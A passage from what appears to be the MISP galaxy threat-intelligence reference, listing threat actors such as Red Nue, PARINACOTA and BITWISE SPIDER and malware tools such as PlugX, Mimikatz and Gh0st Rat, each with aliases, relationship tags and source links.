Red Nue, active since at least 2017, is known for its use of the multi-platform LootRAt backdoor, also known as ReverseWindow. LootRAT has variants for Windows and Macintosh (reported in open source as Demsty), as well as an Android variant known as SpyDealer. Red Nue has also used another Windows backdoor known as WinDealer since at least 2019, when it deployed it to targets as part of a watering hole campaign on a Chinese news website for the Chinese diaspora community. Parts of Asia feature heavily in Red Nue's victimology.

The tag is: *misp-galaxy:threat-actor="Red Nue"*

Red Nue is also known as:

- LuoYu

Table 7114. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf
https://blogs.jpcert.or.jp/en/2021/10/windealer.html
https://securelist.com/windealer-dealing-on-the-side/105946
https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malware
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

Pickaxe

Prying Libra, also known as Pickaxe, is a threat actor active since at least August 2017, and continues to remain active to this day. The adversary's goal is to install and maintain a popular cryptocurrency miner on the victim's machine. The miner in question is an open-source tool named XMRig that generates the Monero cryptocurrency. Malware is delivered via downloads through the popular Adfly advertisement platform. Users are often mislead into clicking on a malicious advertisement that results in the payload being delivered to the victim. Once installed, the malware leverages VBS scripts and redirection services, such as bitly, to ultimately download and execute XMRig. Over 15 million confirmed victims have been discovered to be infected in recent campaigns, with actual numbers likely to be between 30-45 million victims. The victims are found across the globe, with high concentrations in Thailand, Vietnam, Egypt, Indonesia, and Turkey.

The tag is: *misp-galaxy:threat-actor="Pickaxe"*

Pickaxe is also known as:

- Prying Libra

Table 7115. Table References

Links
https://unit42.paloaltonetworks.com/atoms/pryinglibra/

Watchdog

Thief Libra is a cloud-focused threat group that has a history of cryptojacking operations as well as cloud service platform credential scraping. They were first known to operate on January 27, 2019. They use a variety of custom build Go Scripts as well as repurposed cryptojacking scripts from other groups including TeamTNT. They are currently considered to be an opportunistic threat group that targets exposed cloud instances and applications.

The tag is: *misp-galaxy:threat-actor="Watchdog"*

Watchdog is also known as:

- Thief Libra

Table 7116. Table References

Links
https://unit42.paloaltonetworks.com/atoms/thieflibra/

Returned Libra

Returned Libra, also known as 8220 Mining Group, is a cloud threat actor group that has been active since at least 2017. Tools commonly employed during their operations are PwnRig or DBUsed which are customized variants of the XMRig Monero mining software. The Returned Libra mining group is believed to have originated from a GitHub fork of the Rocke group's software. Returned Libra has elevated its mining operations with the use of cloud service platform credential scrapping.

The tag is: *misp-galaxy:threat-actor="Returned Libra"*

Returned Libra is also known as:

- 8220 Mining Group

Table 7117. Table References

Links
https://unit42.paloaltonetworks.com/atoms/returnedlibra/

TianWu

The tag is: *misp-galaxy:threat-actor="TianWu"*

Table 7118. Table References

Links
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf
https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies
https://github.com/avast/ioc/tree/master/OperationDragonCastling

SLIME29

The tag is: *misp-galaxy:threat-actor="SLIME29"*

Table 7119. Table References

Links
https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Li-To-Loot-Or-Not-To-Loot-That-Is-Not-a-Question.pdf

GOBLIN PANDA

Goblin Panda is one of a handful of elite Chinese advanced persistent threat (APT) groups. Most Chinese APTs target the United States and NATO, but Goblin Panda focuses primarily on Southeast Asia.

The tag is: *misp-galaxy:threat-actor="GOBLIN PANDA"*

GOBLIN PANDA is also known as:

- Conimes
- Cycldek

Table 7120. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-august-goblin-panda/
https://securelist.com/cycldek-bridging-the-air-gap/97157/
https://www.fortinet.com/blog/threat-research/cta-security-playbook—goblin-panda.html
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://cyberthreat.thalesgroup.com/sites/default/files/2022-05/THALES%20THREAT%20HANDBOOK%202022%20Light%20Version_1.pdf

TA558

Since 2018, security researchers tracked a financially-motivated cybercrime actor, TA558, targeting hospitality, travel, and related industries located in Latin America and sometimes North America, and western Europe. The actor sends malicious emails written in Portuguese, Spanish, and sometimes English. The emails use reservation-themed lures with business-relevant themes such as hotel room bookings. The emails may contain malicious attachments or URLs aiming to distribute one of at least 15 different malware payloads.

The tag is: *misp-galaxy:threat-actor="TA558"*

PARINACOTA

One actor that has emerged in this trend of human-operated attacks is an active, highly adaptive group that frequently drops Wadhrama as payload. PARINACOTA impacts three to four organizations every week and appears quite resourceful: during the 18 months that we have been monitoring it, we have observed the group change tactics to match its needs and use compromised machines for various purposes, including cryptocurrency mining, sending spam emails, or proxying for other attacks. The group's goals and payloads have shifted over time, influenced by the type of compromised infrastructure, but in recent months, they have mostly deployed the Wadhrama ransomware. The group most often employs a smash-and-grab method, whereby they attempt to infiltrate a machine in a network and proceed with subsequent ransom in less than an hour. There are outlier campaigns in which they attempt reconnaissance and lateral movement, typically when they land on a machine and network that allows them to quickly and easily move throughout the environment. PARINACOTA's attacks typically brute forces their way into servers that have Remote Desktop Protocol (RDP) exposed to the internet, with the goal of moving laterally inside a network or performing further brute-force activities against targets outside the network. This allows the group to expand compromised infrastructure under their control. Frequently, the group targets built-in local administrator accounts or a list of common account names. In other instances, the group targets Active Directory (AD) accounts that they compromised or have prior knowledge of, such as service accounts of known vendors. The group adopted the RDP brute force technique that the older ransomware called Samas (also known as SamSam) infamously used. Other malware families like GandCrab, MegaCortext, LockerGoga, Hermes, and RobbinHood have also used this method in targeted ransomware attacks. PARINACOTA, however, has also been observed to adapt to any path of least resistance they can utilize. For instance, they sometimes discover unpatched systems and use disclosed vulnerabilities to gain initial access or elevate privileges.

The tag is: *misp-galaxy:threat-actor="PARINACOTA"*

View relationships graph

PARINACOTA has relationships with:

- uses: misp-galaxy:ransomware="Wadhrama" with estimative-language:likelihood-probability="likely"

Table 7121. Table References

Links
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/

Red Dev 17

In 2021, PwC started tracking a series of intrusions under the moniker of Red Dev 17 that they assess were highly likely conducted by a China-based threat actor. Their analysis suggests Red Dev 17 has been active since at least 2017. Red Dev 17's observed targets are mainly in India, and include the Indian military, a multinational India-based technology company, and a state energy company. They assess that it is highly probable that the threat actor behind intrusions associated with Red Dev 17 is also responsible for the campaign known in open source as Operation NightScout. Red Dev 17 is a user of the 8.t document weaponisation framework (also known as RoyalRoad), and abuses benign utilities such as Logitech or Windows Defender binaries to sideload and execute Chinoxy or PoisonIvy variants on victim systems. They identified capability and infrastructure links between Red Dev 17 and the threat actor they call Red Hariasa (aka FunnyDream APT), as well as infrastructure overlaps with Red Wendigo (aka Icefog, RedFoxtrot), and with ShadowPad C2 servers. At this time, they do not have sufficient evidence to directly link Red Dev 17 to any of these threat actors. However, They assess with realistic probability that Red Dev 17 operates within a cluster of threat actors that share tools and infrastructure, as well as a strong targeting focus on Southeast Asia and Central Asia.

The tag is: *misp-galaxy:threat-actor="Red Dev 17"*

Table 7122. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/

Aoqin Dragon

SentinelLabs has uncovered a cluster of activity beginning at least as far back as 2013 and continuing to the present day, primarily targeting organizations in Southeast Asia and Australia. They assess that the threat actor's primary focus is espionage and relates to targets in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. We track this activity as 'Aoqin Dragon'. The threat actor has a history of using document lures with pornographic themes to infect users and makes heavy use of USB shortcut techniques to spread the malware and infect additional targets. Attacks attributable to Aoqin Dragon typically drop one of two backdoors, Mongall and a modified version of the open source Heyoka project.

The tag is: *misp-galaxy:threat-actor="Aoqin Dragon"*

Aoqin Dragon is also known as:

- UNC94

Table 7123. Table References

Links
https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/

DangerousSavanna

Malicious campaign called DangerousSavanna has been targeting multiple major financial service groups in French-speaking Africa for the last two years. The threat actors behind this campaign use spear-phishing as a means of initial infection, sending emails with malicious attachments to the employees of financial institutions in at least five different French-speaking countries: Ivory Coast, Morocco, Cameroon, Senegal, and Togo. DangerousSavanna tends to install relatively unsophisticated software tools in the infected environments. These tools are both self-written and based on open-source projects such as Metasploit, PoshC2, DWservice, and AsyncRAT. The threat actors' creativity is on display in the initial infection stage, as they persistently pursue the employees of the targeted companies, constantly changing infection chains that utilize a wide range of malicious file types, from self-written executable loaders and malicious documents, to ISO, LNK, JAR and VBE files in various combinations. The evolving infection chains by the threat actor reflect the changes in the threat landscape seen over the past few years as infection vectors became more and more sophisticated and diverse.

The tag is: *misp-galaxy:threat-actor="DangerousSavanna"*

Table 7124. Table References

Links
https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/

Hezb

Hezb is a group deploying cryptominers when new exploit are available for public facing vulnerabilities. The name is after the miner process they deploy.

The tag is: *misp-galaxy:threat-actor="Hezb"*

Table 7125. Table References

Links
https://www.pwndefend.com/2022/06/04/cve-2022-26134-honeypot-payload-analysis-example/

NoName057(16)

NoName057(16) is performing DDoS attacks on websites belonging to governments, news agencies, armies, suppliers, telecommunications companies, transportation authorities, financial institutions, and more in Ukraine and neighboring countries supporting Ukraine, like Ukraine itself, Estonia, Lithuania, Norway, and Poland.

The tag is: *misp-galaxy:threat-actor="NoName057(16)"*

Table 7126. Table References

Links
https://decoded.avast.io/martinchlumecky/bobik/

BITWISE SPIDER

BITWISE SPIDER has recently and quickly become a significant player in the big game hunting (BGH) landscape. Their dedicated leak site (DLS) has received the highest number of victims posted each month since July 2021 compared to other adversary DLSs due to the growing popularity and effectiveness of LockBit 2.0.

The tag is: *misp-galaxy:threat-actor="BITWISE SPIDER"*

View relationships graph

BITWISE SPIDER has relationships with:

- uses: misp-galaxy:ransomware="LockBit" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="LockBit (Windows)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:malpedia="LockBit (ELF)" with estimative-language:likelihood-probability="likely"

Table 7127. Table References

Links
https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/
https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/
https://security.packt.com/understanding-lockbit/
https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit

Tool

threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries..

Tool is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy - Florian Roth - Timo Steffens - Christophe Vandeplas - Dennis Rand - raw-data

Tinba

Banking Malware

The tag is: *misp-galaxy:tool="Tinba"*

Tinba is also known as:

- Hunter
- Zusy
- TinyBanker

View relationships graph

Tinba has relationships with:

- similar: misp-galaxy:exploit-kit="Hunter" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Tinba" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 7128. Table References

Links
https://thehackernews.com/search/label/Zusy%20Malware
http://blog.trendmicro.com/trendlabs-security-intelligence/the-tinbatinybanker-malware/

PlugX

Malware

The tag is: *misp-galaxy:tool="PlugX"*

PlugX is also known as:

- Backdoor.FSZO-5117
- Trojan.Heur.JP.juW@ayZZvMb
- Trojan.Inject1.6386
- Korplug
- Agent.dhwf

View relationships graph

PlugX has relationships with:

- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 7129. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/112/pulling-the-plug-on-plugx

MSUpdater

```
Trojan (RAT) linked to current targeted attacks and others dating back to at least
early 2009
```

The tag is: *misp-galaxy:tool="MSUpdater"*

Table 7130. Table References

Links
https://www.zscaler.com/pdf/whitepapers/msupdater_trojan_whitepaper.pdfx

Lazagne

A password sthealing tool regularly used by attackers

The tag is: *misp-galaxy:tool="Lazagne"*

Table 7131. Table References

Links
https://github.com/AlessandroZ/LaZagne

Poison Ivy

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: *misp-galaxy:tool="Poison Ivy"*

Poison Ivy is also known as:

- Backdoor.Win32.PoisonIvy
- Gen:Trojan.Heur.PT

View relationships graph

Poison Ivy has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"

Table 7132. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml

SPIVY

In March 2016, Unit 42 observed this new Poison Ivy variant we've named SPIVY being deployed via weaponized documents leveraging CVE-2015-2545.

The tag is: *misp-galaxy:tool="SPIVY"*

Table 7133. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/

Torn RAT

The tag is: *misp-galaxy:tool="Torn RAT"*

Torn RAT is also known as:

- Anchor Panda

View relationships graph

Torn RAT has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"

Table 7134. Table References

Links
https://www.crowdstrike.com/blog/whois-anchor-panda/

OzoneRAT

The tag is: *misp-galaxy:tool="OzoneRAT"*

OzoneRAT is also known as:

- Ozone RAT
- ozonercp

Table 7135. Table References

Links
https://blog.fortinet.com/2016/08/29/german-speakers-targeted-by-spam-leading-to-ozone-rat

ZeGhost

ZeGhots is a RAT which was freely available and first released in 2014.

The tag is: *misp-galaxy:tool="ZeGhost"*

ZeGhost is also known as:

- BackDoor-FBZT!52D84425CDF2
- Trojan.Win32.Staser.ytq
- Win32/Zegost.BW

Table 7136. Table References

Links
https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Backdoor%3aWin32%2fZegost.BW

Elise Backdoor

Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009

The tag is: *misp-galaxy:tool="Elise Backdoor"*

Elise Backdoor is also known as:

- Elise

View relationships graph

Elise Backdoor has relationships with:

- similar: misp-galaxy:mitre-malware="Elise - S0081" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"

Table 7137. Table References

Links

http://thehackernews.com/2015/08/elise-malware-hacking.html

Trojan.Laziok

A new information stealer, Trojan.Laziok, acts as a reconnaissance tool allowing attackers to gather information and tailor their attack methods for each compromised computer.

The tag is: *misp-galaxy:tool="Trojan.Laziok"*

Trojan.Laziok is also known as:

- Laziok

View relationships graph

Trojan.Laziok has relationships with:

- similar: misp-galaxy:malpedia="Laziok" with estimative-language:likelihood-probability="likely"

Table 7138. Table References

Links
http://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector

Slempo

Android-based malware

The tag is: *misp-galaxy:tool="Slempo"*

Slempo is also known as:

- GM-Bot
- SlemBunk
- Bankosy
- Acecard

View relationships graph

Slempo has relationships with:

- similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 7139. Table References

Links
https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/

PWOBot

We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.

The tag is: *misp-galaxy:tool="PWOBot"*

PWOBot is also known as:

- PWOLauncher
- PWOHTTPD
- PWOKeyLogger
- PWOMiner
- PWOPyExec
- PWOQuery

Table 7140. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/04/unit42-python-based-pwobot-targets-european-organizations/

Lost Door RAT

We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.

The tag is: *misp-galaxy:tool="Lost Door RAT"*

Lost Door RAT is also known as:

- LostDoor RAT
- BKDR_LODORAT

Table 7141. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/

njRAT

The tag is: *misp-galaxy:tool="njRAT"*

njRAT is also known as:

- Bladabindi
- Jorik

View relationships graph

njRAT has relationships with:

- similar: misp-galaxy:malpedia="NjRAT" with estimative-language:likelihood-probability="likely"

Table 7142. Table References

Links
http://www.fidelissecurity.com/files/files/FTA_1009-njRAT_Uncovered_rev2.pdf
https://github.com/kevthehermit/RATDecoders/blob/master/yaraRules/njRat.yar

NanoCoreRAT

The tag is: *misp-galaxy:tool="NanoCoreRAT"*

NanoCoreRAT is also known as:

- NanoCore
- Nancrat
- Zurten
- Atros2.CKPN

View relationships graph

NanoCoreRAT has relationships with:

- similar: misp-galaxy:rat="NanoCore" with estimative-language:likelihood-probability="likely"

Table 7143. Table References

Links
http://www.symantec.com/connect/blogs/nanocore-another-rat-tries-make-it-out-gutter
https://nanocore.io/

Sakula

The tag is: *misp-galaxy:tool="Sakula"*

Sakula is also known as:

- Sakurel

View relationships graph

Sakula has relationships with:

- similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 7144. Table References

Links
https://www.secureworks.com/research/sakula-malware-family

Hi-ZOR

The tag is: *misp-galaxy:tool="Hi-ZOR"*

Table 7145. Table References

Links
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html

Derusbi

The tag is: *misp-galaxy:tool="Derusbi"*

Derusbi is also known as:

- TROJ_DLLSERV.BE

View relationships graph

Derusbi has relationships with:

- similar: misp-galaxy:mitre-malware="Derusbi - S0021" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Derusbi (Windows)" with estimative-language:likelihood-probability="likely"

Table 7146. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf

https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf

EvilGrab

The tag is: *misp-galaxy:tool="EvilGrab"*

EvilGrab is also known as:

- BKDR_HGDER
- BKDR_EVILOGE
- BKDR_NVICM
- Wmonder

View relationships graph

EvilGrab has relationships with:

- similar: misp-galaxy:mitre-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"

Table 7147. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/evilgrab-malware-family-used-in-targeted-attacks-in-asia/
http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-of-myanmars-website/

Trojan.Naid

The tag is: *misp-galaxy:tool="Trojan.Naid"*

Trojan.Naid is also known as:

- Naid
- Mdmbot.E
- AGENT.GUNZ
- AGENT.AQUP.DROPPER
- AGENT.BMZA
- MCRAT.A
- AGENT.ABQMR

View relationships graph

Trojan.Naid has relationships with:

- similar: misp-galaxy:mitre-malware="Naid - S0205" with estimative-language:likelihood-probability="likely"

Table 7148. Table References

Links
https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid
http://telussecuritylabs.com/threats/show/TSL20120614-05

Moudoor

Backdoor.Moudoor, a customized version of Gh0st RAT

The tag is: *misp-galaxy:tool="Moudoor"*

Moudoor is also known as:

- SCAR
- KillProc.14145

Table 7149. Table References

Links
http://www.darkreading.com/attacks-breaches/elite-chinese-cyberspy-group-behind-bit9-hack/d/d-id/1140495
https://securityledger.com/2013/09/apt-for-hire-symantec-outs-hidden-lynx-hacking-crew/

NetTraveler

APT that infected hundreds of high profile victims in more than 40 countries. Known targets of NetTraveler include Tibetan/Uyghur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies and military contractors.

The tag is: *misp-galaxy:tool="NetTraveler"*

NetTraveler is also known as:

- TravNet
- Netfile

View relationships graph

NetTraveler has relationships with:

- similar: misp-galaxy:mitre-malware="NetTraveler - S0033" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-probability="likely"

Table 7150. Table References

Links
https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/

Winnti

APT used As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.

The tag is: *misp-galaxy:tool="Winnti"*

Winnti is also known as:

- Etso
- SUQ
- Agent.ALQHI
- RbDoor
- RibDoor
- HIGHNOON

View relationships graph

Winnti has relationships with:

- similar: misp-galaxy:mitre-malware="Winnti for Windows - S0141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Winnti (Windows)" with estimative-language:likelihood-probability="likely"

Table 7151. Table References

Links
https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf

Mimikatz

Ease Credential stealh and replay, A little tool to play with Windows security.

The tag is: *misp-galaxy:tool="Mimikatz"*

Mimikatz is also known as:

- Mikatz

View relationships graph

Mimikatz has relationships with:

- similar: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="likely"

Table 7152. Table References

Links
https://github.com/gentilkiwi/mimikatz
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

WEBC2

Backdoor attribued to APT1

The tag is: *misp-galaxy:tool="WEBC2"*

View relationships graph

WEBC2 has relationships with:

- similar: misp-galaxy:mitre-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="likely"

Table 7153. Table References

Links
https://github.com/gnaegle/cse4990-practical3
https://www.securestate.com/blog/2013/02/20/apt-if-it-aint-broke

Pirpi

Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails.

The tag is: *misp-galaxy:tool="Pirpi"*

Pirpi is also known as:

- Badey
- EXL

View relationships graph

Pirpi has relationships with:

- similar: misp-galaxy:mitre-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="likely"

Table 7154. Table References

Links
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

RARSTONE

RARSTONE is a Remote Access Tool (RAT) discovered early 2013 by TrendMicro, it’s characterized by a great affinity with the other RAT know as Plug is and was used in April for phishing campaigns that followed the dramatic attack to the Boston Marathon.

The tag is: *misp-galaxy:tool="RARSTONE"*

View relationships graph

RARSTONE has relationships with:

- similar: misp-galaxy:mitre-malware="RARSTONE - S0055" with estimative-language:likelihood-probability="likely"

Table 7155. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/

Backspace

Backspace is a Backdoor that targets the Windows platform. This malware is reportedly associated with targeted attacks against Association of Southeast Asian Nations (ASEAN) members (APT30).

The tag is: *misp-galaxy:tool="Backspace"*

Backspace is also known as:

- Lecna

View relationships graph

Backspace has relationships with:

- similar: misp-galaxy:mitre-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="likely"

Table 7156. Table References

Links
https://www2.fireeye.com/WEB-2015RPTAPT30.html
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf

XSControl

Backdoor user by he Naikon APT group

The tag is: *misp-galaxy:tool="XSControl"*

Table 7157. Table References

Links
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://kasperskycontenthub.com/securelist/files/2015/05/TheNaikonAPT-MsnMM.pdf

Neteagle

NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as Scout and Norton.

The tag is: *misp-galaxy:tool="Neteagle"*

Neteagle is also known as:

- scout
- norton

Table 7158. Table References

Links
https://attack.mitre.org/wiki/Software/S0034
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Agent.BTZ

In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit.

The tag is: *misp-galaxy:tool="Agent.BTZ"*

Agent.BTZ is also known as:

- ComRat

View relationships graph

Agent.BTZ has relationships with:

- similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 7159. Table References

Links
https://blog.gdatasoftware.com/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat

Heseber BOT

RAT bundle with standard VNC (to avoid/limit A/V detection).

The tag is: *misp-galaxy:tool="Heseber BOT"*

Agent.dne

The tag is: *misp-galaxy:tool="Agent.dne"*

Wipbot

Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and Epic Turla)

The tag is: *misp-galaxy:tool="Wipbot"*

Wipbot is also known as:

- Tavdig
- Epic Turla

- WorldCupSec
- TadjMakhal

View relationships graph

Wipbot has relationships with:

- similar: misp-galaxy:mitre-malware="Epic - S0091" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"

Table 7160. Table References

Links
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf

Turla

Family of related sophisticated backdoor software - Name comes from Microsoft detection signature – anagram of Ultra (Ultra3) was a name of the fake driver). A macOS version exists but appears incomplete and lacking features...for now!

The tag is: *misp-galaxy:tool="Turla"*

Turla is also known as:

- Snake
- Uroburos
- Urouros

View relationships graph

Turla has relationships with:

- similar: misp-galaxy:mitre-malware="Uroburos - S0022" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Uroburos (Windows)" with estimative-language:likelihood-probability="likely"

Table 7161. Table References

Links
https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf
https://objective-see.com/blog/blog_0x25.html#Snake

Winexe

The tag is: *misp-galaxy:tool="Winexe"*

View relationships graph

Winexe has relationships with:

- similar: misp-galaxy:mitre-tool="Winexe - S0191" with estimative-language:likelihood-probability="likely"

Dark Comet

RAT initialy identified in 2011 and still actively used.

The tag is: *misp-galaxy:tool="Dark Comet"*

View relationships graph

Dark Comet has relationships with:

- similar: misp-galaxy:rat="DarkComet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

Cadelspy

The tag is: *misp-galaxy:tool="Cadelspy"*

Cadelspy is also known as:

- WinSpy

CMStar

The tag is: *misp-galaxy:tool="CMStar"*

Table 7162. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/

DHS2015

The tag is: *misp-galaxy:tool="DHS2015"*

DHS2015 is also known as:

- iRAT

Table 7163. Table References

Links
https://securelist.com/files/2015/02/The-Desert-Falcons-targeted-attacks.pdf

Gh0st Rat

Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago.

The tag is: *misp-galaxy:tool="Gh0st Rat"*

Gh0st Rat is also known as:

- Gh0stRat, GhostRat

View relationships graph

Gh0st Rat has relationships with:

- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"

Table 7164. Table References

Links
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf

Fakem RAT

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: *misp-galaxy:tool="Fakem RAT"*

Fakem RAT is also known as:

- FAKEM

View relationships graph

Fakem RAT has relationships with:

- similar: misp-galaxy:malpedia="Terminator RAT" with estimative-language:likelihood-probability="likely"

Table 7165. Table References

Links

http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf

MFC Huner

The tag is: *misp-galaxy:tool="MFC Huner"*

MFC Huner is also known as:

